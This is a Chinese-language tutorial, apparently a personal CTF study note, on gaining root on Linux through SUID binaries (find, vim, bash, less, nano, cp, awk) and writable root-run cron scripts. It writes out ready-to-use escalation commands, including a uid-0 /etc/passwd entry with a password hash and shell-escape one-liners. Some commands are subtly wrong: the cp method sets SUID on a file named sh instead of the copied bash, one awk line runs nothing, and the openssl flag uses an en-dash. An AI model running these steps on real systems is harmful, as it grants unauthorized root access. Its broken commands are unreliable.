Linux提权

利用SUID提权

  SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

  如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

寻找系统中可利用文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

  这三条 find 命令都是用来查找系统中具有 SUID 权限 的文件

  • find / -user root -perm -4000 -print 2>/dev/null

    查找所有属主为 root 且设置了 SUID 位的文件,直接打印符合条件的文件路径。

    • -user root:限定文件属主是 root
    • -perm -4000:限定文件权限包含 SUID 位
    • 2>/dev/null:忽略错误信息(比如权限不足报错)
  • find / -perm -u=s -type f 2>/dev/null

    查找所有设置了 SUID 位的普通文件,直接打印符合条件的文件路径。

    • -perm -u=s:限定文件权限包含 SUID 位
    • -type f:只查找普通文件(排除目录等)
  • find / -user root -perm -4000 -exec ls -ldb {} \;

    查找所有属主为 root 且设置了 SUID 位的文件,并显示详细信息。

    • -user root:只保留属主为 root 的文件/目录。
    • -perm -4000:精确匹配包含SUID位的文件(八进制 4000 表示 SUID 权限)。
    • -exec:表示开始定义要执行的命令。
    • ls -ldb:查看文件详细信息。
      • -l:长格式显示(权限、属主、时间等)
      • -d:仅显示目录本身(而不是目录内容)
      • -b:转义特殊字符(如空格、换行符)
    • {}:占位符,表示当前匹配到的文件路径(之后详解)。
    • \;:表示命令结束(在Shell中,分号;表示命令结束。为了将;传递给find而不是被Shell解析,必须用反斜杠转义)。

{} 的作用

  • 类似于编程中的 循环变量,每次 find 找到一个符合条件的文件,就会将文件路径替换到 {} 的位置。

  • 示例:如果找到 /usr/bin/passwd,实际执行的命令是:

    ls -ldb /usr/bin/passwd
    

设定suid权限

chmod u+s file  #将该文件设置suid权限
chmod u-s file  #将该文件去除suid权限

find

  如果find命令是以suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。可以通过find查看find命令本身是否以suid权限运行。

  应用格式:

# find 任意存在的文件或目录 -exec 命令 \;
find . -exec ls \;
# 可以直接用这句

vim

  利用vim/etc/passwd中写入一个拥有root权限的用户,在转换为该用户。首先应当为这个用户生成一个密码

openssl passwd -1 –salt asd 密码
# 如root生成为$1$asd$mwN4uVjCkpk1tFZW.7f54/

  在将以下语句写入/etc/passwd

meowko:$1$asd$mwN4uVjCkpk1tFZW.7f54/:0:0:root:/meowko:/bin/bash

  有时vim本身没有suid权限,但是其“亚种”有,比如vim.tiny,vim.basic

Bash

  直接开一个bash shell就行。

bash -p

less&more

  lessmore是基本一样的,这里用less举例。用less打开一个文件,比如/etc/passwd

less /etc/passwd

  在less界面中,按下!键,这将允许你在less中执行外部命令。然后输入/bin/bash命令并按下回车键。将进入一个新的 shell 会话,由于less具有root权限,这个新的 shell 会话也将以root用户身份运行。

!/bin/bash
# 具体要看用的什么shell。

nano

  nano是一个文本编辑器。

/bin/nano # /bin/nano非确定
# 按下面的按键执行命令Ctrl + R,Ctrl + X 

cp

  cp就是复制指令。

  为了复制文件,我们需要一个有写入权限的目录,可使用以下命令创建并切换到该目录。例如:

mkdir /tmp/exp
cd /tmp/exp

  利用cpsuid权限,将/bin/bash复制到刚创建的目录中。

cp /bin/bash .

  设置这个bash具有suid权限并运行:

chmod u+s sh
./bash

awk

  awk是一种文本处理工具,它是一种编程语言。

awk 'BEGIN {"/bin/bash"}'
# 或者awk 'BEGIN {system("/bin/sh")}'

  BEGINawk的一个特殊模式,它会在处理输入文件之前执行一次。这里就是打开一个bash。

  awk提供了system() 函数,可以用于执行系统命令。

利用可修改的定时执行sh文件提权。

  利用系统中存在的定时执行的sh脚本文件也能提权。如果我们有该文件的修改权,并且该sh文件执行时有root权限,我们就可以写入想执行的命令了。

  例子:小蓝鲨的临时存储室

参考~🥰:

借助了一些AI的力量❀

  • deepseek
  • 豆包